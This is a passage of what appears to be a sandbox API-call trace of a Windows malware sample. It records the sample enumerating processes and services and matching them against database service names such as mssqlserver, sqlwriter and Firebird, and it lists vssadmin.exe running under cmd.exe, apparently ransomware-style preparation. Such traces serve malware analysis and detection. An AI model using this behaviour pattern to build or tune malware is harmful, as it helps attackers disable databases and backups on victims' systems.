hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.641] lstrlenW (lpString="svchost.exe") returned 11 [0220.641] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0220.641] lstrlenW (lpString="taskeng.exe") returned 11 [0220.641] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0220.642] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0220.642] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0220.643] lstrlenW (lpString="nova.exe") returned 8 [0220.643] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0220.643] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0220.643] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0220.644] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0220.644] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0220.645] lstrlenW (lpString="picks blair.exe") returned 15 [0220.645] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0220.645] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0220.645] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0220.646] lstrlenW (lpString="principal.exe") returned 13 [0220.646] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0220.647] lstrlenW (lpString="transportation.exe") returned 18 [0220.647] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0220.705] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0220.705] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0220.705] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0220.706] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0220.707] lstrlenW (lpString="planned.exe") returned 11 [0220.707] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0220.708] lstrlenW (lpString="springer andrew.exe") returned 19 [0220.708] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0220.708] lstrlenW (lpString="cakes import.exe") returned 16 [0220.708] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0220.709] lstrlenW (lpString="theory.exe") returned 10 [0220.709] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0220.710] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0220.710] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0220.710] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0220.710] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0220.711] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0220.711] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0220.712] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0220.712] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0220.712] lstrlenW (lpString="indicescancellation.exe") returned 23 [0220.712] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0220.713] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0220.713] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0220.714] lstrlenW (lpString="desk.exe") returned 8 [0220.714] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.714] lstrlenW (lpString="svchost.exe") returned 11 [0220.714] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0220.715] lstrlenW (lpString="sppsvc.exe") returned 10 [0220.715] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.716] lstrlenW (lpString="svchost.exe") returned 11 [0220.716] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0220.717] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0220.717] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0220.718] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0220.718] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0220.718] lstrlenW (lpString="winhost.exe") returned 11 [0220.718] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0220.719] lstrlenW (lpString="cmd.exe") returned 7 [0220.719] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0220.720] lstrlenW (lpString="conhost.exe") returned 11 [0220.721] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0220.736] lstrlenW (lpString="vssadmin.exe") returned 12 [0220.739] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0220.742] lstrlenW (lpString="VSSVC.exe") returned 9 [0220.742] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.742] lstrlenW (lpString="svchost.exe") returned 11 [0220.742] Process32NextW (in: hSnapshot=0x22c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0220.743] CloseHandle (hObject=0x22c) returned 1 [0220.743] Sleep (dwMilliseconds=0x1f4) [0221.448] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640018 [0221.448] EnumServicesStatusExW (in: hSCManager=0x640018, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0221.448] GetLastError () returned 0xea [0221.448] EnumServicesStatusExW (in: hSCManager=0x640018, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fc1078, cbBufSize=0x142e, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fc1078, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0221.448] CloseServiceHandle (hSCObject=0x640018) returned 1 [0221.448] lstrlenW (lpString="Appinfo") returned 7 [0221.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0221.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0221.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0221.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0221.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0221.449] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0221.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0221.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0221.449] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0221.449] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0221.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0221.449] lstrlenW (lpString="AudioSrv") returned 8 [0221.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0221.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0221.449] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0221.449] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0221.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0221.449] lstrlenW (lpString="BFE") returned 3 [0221.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0221.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0221.449] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0221.449] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0221.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0221.449] lstrlenW (lpString="CryptSvc") returned 8 [0221.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0221.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0221.449] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0221.449] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0221.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0221.449] lstrlenW (lpString="CscService") returned 10 [0221.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0221.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0221.449] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0221.449] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0221.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0221.449] lstrlenW (lpString="DcomLaunch") returned 10 [0221.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0221.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0221.449] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0221.449] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0221.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0221.449] lstrlenW (lpString="Dhcp") returned 4 [0221.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0221.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0221.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0221.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0221.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0221.449] lstrlenW (lpString="Dnscache") returned 8 [0221.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0221.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0221.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0221.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0221.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0221.450] lstrlenW (lpString="DPS") returned 3 [0221.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0221.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0221.450] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0221.450] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0221.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0221.450] lstrlenW (lpString="eventlog") returned 8 [0221.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0221.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0221.450] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0221.450] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0221.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0221.450] lstrlenW (lpString="EventSystem") returned 11 [0221.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0221.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0221.450] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0221.450] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0221.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0221.450] lstrlenW (lpString="FontCache") returned 9 [0221.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0221.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0221.450] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0221.450] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0221.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0221.450] lstrlenW (lpString="gpsvc") returned 5 [0221.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0221.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0221.450] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0221.450] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0221.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0221.450] lstrlenW (lpString="iphlpsvc") returned 8 [0221.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0221.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0221.450] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0221.450] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0221.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0221.450] lstrlenW (lpString="LanmanServer") returned 12 [0221.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0221.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0221.450] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0221.450] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0221.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0221.450] lstrlenW (lpString="LanmanWorkstation") returned 17 [0221.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0221.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0221.450] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0221.450] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0221.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0221.451] lstrlenW (lpString="lmhosts") returned 7 [0221.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0221.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0221.451] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0221.451] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0221.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0221.451] lstrlenW (lpString="MMCSS") returned 5 [0221.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0221.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0221.451] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0221.451] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0221.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0221.451] lstrlenW (lpString="MpsSvc") returned 6 [0221.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0221.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0221.451] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0221.451] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0221.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0221.451] lstrlenW (lpString="Netman") returned 6 [0221.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0221.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0221.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0221.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0221.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0221.451] lstrlenW (lpString="netprofm") returned 8 [0221.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0221.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0221.451] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0221.451] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0221.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0221.451] lstrlenW (lpString="NlaSvc") returned 6 [0221.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0221.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0221.451] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0221.451] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0221.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0221.451] lstrlenW (lpString="nsi") returned 3 [0221.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0221.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0221.451] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0221.451] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0221.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0221.451] lstrlenW (lpString="PcaSvc") returned 6 [0221.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0221.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0221.451] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0221.451] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0221.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0221.451] lstrlenW (lpString="PlugPlay") returned 8 [0221.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0221.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0221.452] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0221.452] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0221.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0221.452] lstrlenW (lpString="Power") returned 5 [0221.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0221.452] 